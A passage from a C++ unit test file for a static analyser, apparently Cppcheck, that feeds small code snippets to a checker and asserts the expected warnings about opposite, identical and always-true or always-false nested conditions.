{\\n\"\n \" next();\\n\"\n \" if (tok == ',') {\\n\"\n \" next();\\n\"\n \" if (tok != ',') {\\n\"\n \" op->reg2 = asm_parse_reg();\\n\"\n \" }\\n\"\n \" skip(',');\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \" void next();\\n\"\n \" const char *tok;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int i)\\n\"\n \"{\\n\"\n \" if(i > 5) {\\n\"\n \" i = bar();\\n\"\n \" if(i < 5) {\\n\"\n \" cout << a;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int& i) {\\n\"\n \" i=6;\\n\"\n \"}\\n\"\n \"void bar(int i) {\\n\"\n \" if(i>5) {\\n\"\n \" foo(i);\\n\"\n \" if(i<5) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int& i);\\n\"\n \"void bar() {\\n\"\n \" int i; i = func();\\n\"\n \" if(i>5) {\\n\"\n \" foo(i);\\n\"\n \" if(i<5) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int i);\\n\"\n \"void bar(int i) {\\n\"\n \" if(i>5) {\\n\"\n \" foo(i);\\n\"\n \" if(i<5) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:5:13]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void foo(const int &i);\\n\"\n \"void bar(int i) {\\n\"\n \" if(i>5) {\\n\"\n \" foo(i);\\n\"\n \" if(i<5) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:5:13]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void foo(int i);\\n\"\n \"void bar() {\\n\"\n \" int i; i = func();\\n\"\n \" if(i>5) {\\n\"\n \" foo(i);\\n\"\n \" if(i<5) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:6:13]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"class C { void f(int &i) const; };\\n\" // #7028 - variable is changed by const method\n \"void foo(C c, int i) {\\n\"\n \" if (i==5) {\\n\"\n \" c.f(i);\\n\"\n \" if (i != 5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // see linux revision 1f80c0cc\n check(\"int generic_write_sync(int,int,int);\\n\"\n \"\\n\"\n \"void cifs_writev(int i) {\\n\"\n \" int rc = __generic_file_aio_write();\\n\"\n \" if (rc > 0){\\n\"\n \" err = generic_write_sync(file, iocb->ki_pos - rc, rc);\\n\"\n \" if(rc < 0) {\\n\" // <- condition is always false\n \" err = rc;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:11] -> [test.cpp:7:14]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n\n // #5874 - array\n check(\"void testOppositeConditions2() {\\n\"\n \" int array[2] = { 0, 0 };\\n\"\n \" if (array[0] < 2) {\\n\"\n \" array[0] += 5;\\n\"\n \" if (array[0] > 2) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6227 - FP caused by simplifications of casts and known variables\n check(\"void foo(A *a) {\\n\"\n \" if(a) {\\n\"\n \" B *b = dynamic_cast(a);\\n\"\n \" if(!b) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" if(a) {\\n\"\n \" int b = a;\\n\"\n \" if(!b) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:2:7] -> [test.cpp:4:11]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void foo(unsigned u) {\\n\"\n \" if (u != 0) {\\n\"\n \" for (int i=0; i<32; i++) {\\n\"\n \" if (u == 0) {}\\n\" // <- don't warn\n \" u = x;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8186\n check(\"void f() {\\n\"\n \" for (int i=0;i<4;i++) {\\n\"\n \" if (i==5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:3:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n // #8938\n check(\"void Delete(SS_CELLCOORD upperleft) {\\n\"\n \" if ((upperleft.Col == -1) && (upperleft.Row == -1)) {\\n\"\n \" GetActiveCell(&(upperleft.Col), &(upperleft.Row));\\n\"\n \" if (upperleft.Row == -1) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9702\n check(\"struct A {\\n\"\n \" void DoTest() {\\n\"\n \" if (!IsSet()) {\\n\"\n \" m_value = true;\\n\"\n \" if (IsSet());\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bool IsSet() const { return m_value; }\\n\"\n \" bool m_value = false;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #12725\n check(\"bool f(bool b) {\\n\"\n \" if (b)\\n\"\n \" return !b;\\n\"\n \" b = g();\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:16]: (style) Return value '!b' is always false [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void oppositeInnerConditionPointers() {\n check(\"void f(struct ABC *abc) {\\n\"\n \" struct AB *ab = abc->ab;\\n\"\n \" if (ab->a == 123){\\n\"\n \" do_something(abc);\\n\" // might change ab->a\n \" if (ab->a != 123) {\\n\"\n \" err = rc;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fred::f() {\\n\" // daca: ace\n \" if (this->next_ == map_man_->table_) {\\n\"\n \" this->next_ = n;\\n\"\n \" if (this->next_ != map_man_->table_) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(float *f) {\\n\" // #7405\n \" if(*f>10) {\\n\"\n \" (*f) += 0.1f;\\n\"\n \" if(*f<10) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int * f(int * x, int * y) {\\n\"\n \" if(!x) return x;\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeInnerConditionClass() {\n // #6095 - calling member function that might change the state\n check(\"void f() {\\n\"\n \" const Fred fred;\\n\" // <- fred is const, warn\n \" if (fred.isValid()) {\\n\"\n \" fred.dostuff();\\n\"\n \" if (!fred.isValid()) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19] -> [test.cpp:5:9]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"class Fred { public: bool isValid() const; void dostuff() const; };\\n\"\n \"void f() {\\n\"\n \" Fred fred;\\n\"\n \" if (fred.isValid()) {\\n\"\n \" fred.dostuff();\\n\" // <- dostuff() is const, warn\n \" if (!fred.isValid()) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:19] -> [test.cpp:6:9]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Fred fred;\\n\"\n \" if (fred.isValid()) {\\n\"\n \" fred.dostuff();\\n\"\n \" if (!fred.isValid()) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6385 \"crash in Variable::getFlag()\"\n check(\"class TranslationHandler {\\n\"\n \"QTranslator *mTranslator;\\n\"\n \"void SetLanguage() {\\n\"\n \" if (mTranslator) {\\n\"\n \" qApp->removeTranslator(mTranslator);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str()); // just don't crash...\n\n check(\"bool f(std::ofstream &CFileStream) {\\n\" // #8198\n \" if(!CFileStream.good()) { return; }\\n\"\n \" CFileStream << \\\"abc\\\";\\n\"\n \" if (!CFileStream.good()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeInnerConditionUndeclaredVariable() {\n // #5731 - fp when undeclared variable is used\n check(\"void f() {\\n\"\n \" if (x == -1){\\n\"\n \" x = do_something();\\n\"\n \" if (x != -1) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5750 - another fp when undeclared variable is used\n check(\"void f() {\\n\"\n \" if (r < w){\\n\"\n \" r += 3;\\n\"\n \" if (r > w) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6574 - another fp when undeclared variable is used\n check(\"void foo() {\\n\"\n \" if(i) {\\n\"\n \" i++;\\n\"\n \" if(!i) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // undeclared array\n check(\"void f(int x) {\\n\"\n \" if (a[x] > 0) {\\n\"\n \" a[x] -= dt;\\n\"\n \" if (a[x] < 0) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6313 - false positive: opposite conditions in nested if blocks when condition changed\n check(\"void Foo::Bar() {\\n\"\n \" if(var){\\n\"\n \" --var;\\n\"\n \" if(!var){}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // daca hyphy\n check(\"bool f() {\\n\"\n \" if (rec.lLength==0) {\\n\"\n \" rec.Delete(i);\\n\"\n \" if (rec.lLength!=0) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeInnerConditionAlias() {\n check(\"void f() {\\n\"\n \" struct S s;\\n\"\n \" bool hasFailed = false;\\n\"\n \" s.status = &hasFailed;\\n\"\n \"\\n\"\n \" if (! hasFailed) {\\n\"\n \" doStuff(&s);\\n\"\n \" if (hasFailed) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: (style) Condition '!hasFailed' is always true [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void oppositeInnerCondition2() {\n // first comparison: <\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<4) {\\n\"\n \" if (x==5) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<4) {\\n\"\n \" if (x!=5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x!=5' is always true [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<4) {\\n\"\n \" if (x>5) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<4) {\\n\"\n \" if (x>=5) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<4) {\\n\"\n \" if (x<5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x<5' is always true [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<4) {\\n\"\n \" if (x<=5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x<=5' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x==4) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x!=4) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x!=6) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x!=6' is always true [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x>4) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x>4' is always false [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x>=4) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x<4) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x<=4) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x<=4' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // first comparison: >\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>4) {\\n\"\n \" if (x==5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>4) {\\n\"\n \" if (x>5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>4) {\\n\"\n \" if (x>=5) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x>=5' is always true [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>4) {\\n\"\n \" if (x<5) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x<5' is always false [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>4) {\\n\"\n \" if (x<=5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>5) {\\n\"\n \" if (x==4) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>5) {\\n\"\n \" if (x>4) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x>4' is always true [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>5) {\\n\"\n \" if (x>=4) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x>=4' is always true [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>5) {\\n\"\n \" if (x<4) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>5) {\\n\"\n \" if (x<=4) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 4) {\\n\"\n \" if (10 < x) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:12]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n }\n\n void oppositeInnerCondition3() {\n check(\"void f3(char c) { if(c=='x') if(c=='y') {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:23] -> [test.cpp:1:34]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f4(char *p) { if(*p=='x') if(*p=='y') {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:25] -> [test.cpp:1:37]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f5(const char * const p) { if(*p=='x') if(*p=='y') {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:38] -> [test.cpp:1:50]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f5(const char * const p) { if('x'==*p) if('y'==*p) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:39] -> [test.cpp:1:51]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f6(char * const p) { if(*p=='x') if(*p=='y') {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:32] -> [test.cpp:1:44]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f7(const char * p) { if(*p=='x') if(*p=='y') {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:32] -> [test.cpp:1:44]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f8(int i) { if(i==4) if(i==2) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:22] -> [test.cpp:1:31]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f9(int *p) { if (*p==4) if(*p==2) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:25] -> [test.cpp:1:35]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f10(int * const p) { if (*p==4) if(*p==2) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:33] -> [test.cpp:1:43]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f11(const int *p) { if (*p==4) if(*p==2) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:32] -> [test.cpp:1:42]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f12(const int * const p) { if (*p==4) if(*p==2) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:39] -> [test.cpp:1:49]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"struct foo {\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"void f(foo x) { if(x.a==4) if(x.b==2) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct foo {\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"void f(foo x) { if(x.a==4) if(x.b==4) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f3(char a, char b) { if(a==b) if(a==0) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { if (x == 1) if (x != 1) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23] -> [test.cpp:1:35]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n }\n\n void oppositeInnerConditionAnd() {\n check(\"void f(int x) {\\n\"\n \" if (a>3 && x > 100) {\\n\"\n \" if (x < 10) {}\\n\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:11]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f(bool x, const int a, const int b) {\\n\"\n \" if(x && a < b)\\n\"\n \" if( x && a > b){}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14] -> [test.cpp:3:19]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n }\n\n void oppositeInnerConditionOr()\n {\n check(\"void f(int x) {\\n\"\n \" if (x == 1 || x == 2) {\\n\"\n \" if (x == 3) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:15]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == 1 || x == 2) {\\n\"\n \" if (x == 1) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == 1 || x == 2) {\\n\"\n \" if (x == 2) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string x) {\\n\"\n \" if (x == \\\"1\\\" || x == \\\"2\\\") {\\n\"\n \" if (x == \\\"1\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 1 || x > 3) {\\n\"\n \" if (x == 3) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15] -> [test.cpp:3:15]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n }\n\n void oppositeInnerConditionEmpty() {\n check(\"void f1(const std::string &s) { if(s.size() > 42) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:45] -> [test.cpp:1:61]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.size() > 0) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:45] -> [test.cpp:1:60]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.size() < 0) if(s.empty()) {}} \"); // <- CheckOther reports: checking if unsigned expression is less than zero\n ASSERT_EQUALS(\"[test.cpp:1:45] -> [test.cpp:1:60]: (style) Condition 's.empty()' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.empty()) if(s.size() > 42) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:43] -> [test.cpp:1:59]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"template void f1(const T &s) { if(s.size() > 42) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str()); //We don't know the type of T so we don't know the relationship between size() and empty(). e.g. s might be a 50 tonne truck with nothing in it.\n\n check(\"void f2(const std::wstring &s) { if(s.empty()) if(s.size() > 42) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:44] -> [test.cpp:1:60]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f1(QString s) { if(s.isEmpty()) if(s.length() > 42) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:34] -> [test.cpp:1:52]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f1(const std::string &s, bool b) { if(s.empty() || ((s.size() == 1) && b)) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &x, const std::string &y) { if(x.size() > 42) if(y.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &x, const std::string &y) { if(y.empty()) if(x.size() > 42) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string v[10]) { if(v[0].size() > 42) if(v[1].empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.size() <= 1) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.size() <= 2) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.size() < 2) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.size() >= 0) if(s.empty()) {}} \"); // CheckOther says: Unsigned expression 's.size()' can't be negative so it is unnecessary to test it. [unsignedPositive]\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO: These are identical condition since size cannot be negative\n check(\"void f1(const std::string &s) { if(s.size() <= 0) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO: These are identical condition since size cannot be negative\n check(\"void f1(const std::string &s) { if(s.size() < 1) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeInnerConditionFollowVar() {\n check(\"struct X {\\n\"\n \" void f() {\\n\"\n \" const int flag = get();\\n\"\n \" if (flag) {\\n\"\n \" bar();\\n\"\n \" if (!get()) {}\\n\"\n \" }\\n\"\n \" }\\n\"\n \" void bar();\\n\"\n \" int get() const;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct CD {\\n\"\n \" bool state;\\n\"\n \" void foo() {\\n\"\n \" const bool flag = this->get();\\n\"\n \" if (flag) {\\n\"\n \" this->bar();\\n\"\n \" if (!this->get()) return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bool get() const;\\n\"\n \" void bar();\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \"public:\\n\"\n \" bool f() const { return x > 0; }\\n\"\n \" void g();\\n\"\n \" int x = 0;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::g() {\\n\"\n \" bool b = f();\\n\"\n \" x += 1;\\n\"\n \" if (!b && f()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(double d) {\\n\"\n \" if (d != 0) {\\n\"\n \" int i = d;\\n\"\n \" if (i == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeInnerConditionLambda() {\n check(\"void f() {\\n\" // #13728\n \" for (int i = 0; i < 2;) {\\n\"\n \" auto inc = [&]() {\\n\"\n \" if (i >= 2)\\n\"\n \" throw 0;\\n\"\n \" return i++;\\n\"\n \" };\\n\"\n \" inc();\\n\"\n \" inc();\\n\"\n \" inc();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void identicalInnerCondition() {\n check(\"void f1(int a, int b) { if(a==b) if(a==b) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:29] -> [test.cpp:1:38]: (warning) Identical inner 'if' condition is always true. [identicalInnerCondition]\\n\", errout_str());\n\n check(\"void f2(int a, int b) { if(a!=b) if(a!=b) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:29] -> [test.cpp:1:38]: (warning) Identical inner 'if' condition is always true. [identicalInnerCondition]\\n\", errout_str());\n\n // #6645 false negative: condition is always false\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b) {\\n\"\n \" if(a) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:6] -> [test.cpp:3:9]: (warning) Identical inner 'if' condition is always true. [identicalInnerCondition]\\n\", 